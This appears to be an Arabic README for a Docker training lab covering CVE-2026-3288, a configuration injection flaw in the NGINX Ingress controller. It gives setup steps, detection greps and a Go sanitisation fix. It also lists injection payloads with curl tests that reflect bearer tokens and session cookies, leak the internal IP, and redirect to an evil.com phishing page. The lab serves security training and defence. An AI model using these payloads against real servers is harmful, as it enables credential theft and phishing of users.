
# مختبر ثغرات قائم على Docker لثغرة CVE-2026-3288 الخاصة بحقن التكوين في NGINX Ingress، مع سكربتات استغلال، ومراقبة كشف، وإرشادات معالجة للتدريب الأمني المصرح به.
⚠️ تحذير: يحتوي هذا المختبر على تكوينات قابلة للاستغلال عمدًا لأغراض التدريب الأمني المصرح به فقط
CVE-2026-3288 (CVSS 8.8 عالية) - حقن التكوين في NGINX Ingress Controller
") في تكوين المسارلا تقوم دالة buildProxyPass() بتعقيم إدخال المسار قبل إدراجه في تكوين nginx، مما يسمح للمهاجمين بكسر السلاسل المقتبسة وحقن توجيهات nginx عشوائية.
CVE-2026-3288-lab/
├── README.md # هذا الملف
├── docker-compose.yml # الإعداد الرئيسي للمختبر
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # إعداد NGINX القابل للاستغلال
│ │ ├── nginx.conf # التكوين الأساسي
│ │ └── vulnerable-config.conf # معالجة المسار القابلة للاستغلال
│ └── backend/
│ ├── Dockerfile # تطبيق خلفي بسيط
│ └── app.py # تطبيق Flask
├── exploits/
│ ├── exploit.py # سكربت الاستغلال الآلي
│ ├── payloads.txt # مجموعة حمولات الاستغلال
│ └── test-exploits.sh # اختبار جميع الاستغلالات
├── detection/
│ └── monitor-logs.sh # مراقبة محاولات الاستغلال
└── cleanup/
└── cleanup.sh # إزالة جميع موارد المختبر
cd CVE-2026-3288-lab
# تشغيل البيئة القابلة للاستغلال
docker-compose up -d
# التحقق من الحالة
docker-compose ps
# اختبار تشغيل الخادم الخلفي
curl http://localhost:8080/
# اختبار تشغيل NGINX
curl http://localhost/
cd exploits
# الاستغلال الآلي
python3 exploit.py --all
# أو اختبار استغلالات فردية
bash test-exploits.sh
# مراقبة سجلات NGINX للاستغلال
docker-compose logs -f nginx
# مراقبة الكشف
cd detection
bash monitor-logs.sh
docker-compose down -v
حقن توجيه return في nginx لتقديم محتوى يتحكم فيه المهاجم.
الحمولة:
/api" return 200 "HACKED BY ATTACKER
الاختبار:
curl 'http://localhost/api" return 200 "HACKED'
عكس ترويسات Authorization في الاستجابة لسرقة رموز Bearer.
الحمولة:
/login" return 200 "Token: $http_authorization
الاختبار:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
إعادة توجيه المستخدمين إلى موقع تصيد يتحكم فيه المهاجم.
الحمولة:
/" return 302 "https://evil.com/phishing
الاختبار:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
تسريب معلومات الخادم الداخلية.
الحمولة:
/" return 200 "Internal IP: $server_addr
الاختبار:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
سرقة ملفات تعريف ارتباط الجلسة.
الحمولة:
/" return 200 "Cookies: $http_cookie
الاختبار:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# التكوين القابل للاستغلال
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
عندما يحتوي المسار على "، فإنه يكسر السلسلة المقتبسة:
# إدخال المهاجم: /api" return 200 "HACKED
# النتيجة:
location ~ "^/api" return 200 "HACKED" {
# التكوين الأصلي أصبح معطوبًا الآن
}
# مراقبة الأنماط المشبوهة
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# فحص تكوين NGINX بحثًا عن توجيهات محقونة
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" و \ بشكل صحيح// قبل (قابل للاستغلال)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// بعد (تم الإصلاح)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
بعد إكمال هذا المختبر، ستفهم:
# فحص السجلات
docker-compose logs
# إعادة التشغيل
docker-compose restart
# تغيير المنافذ في docker-compose.yml
# أو إيقاف الخدمات المتعارضة
sudo lsof -i :80
# التحقق من تشغيل NGINX
docker-compose ps nginx
# فحص تكوين NGINX
docker exec cve-2026-3288-nginx nginx -t
أُنشئ لأغراض التدريب الأمني المصرح به والبحث فقط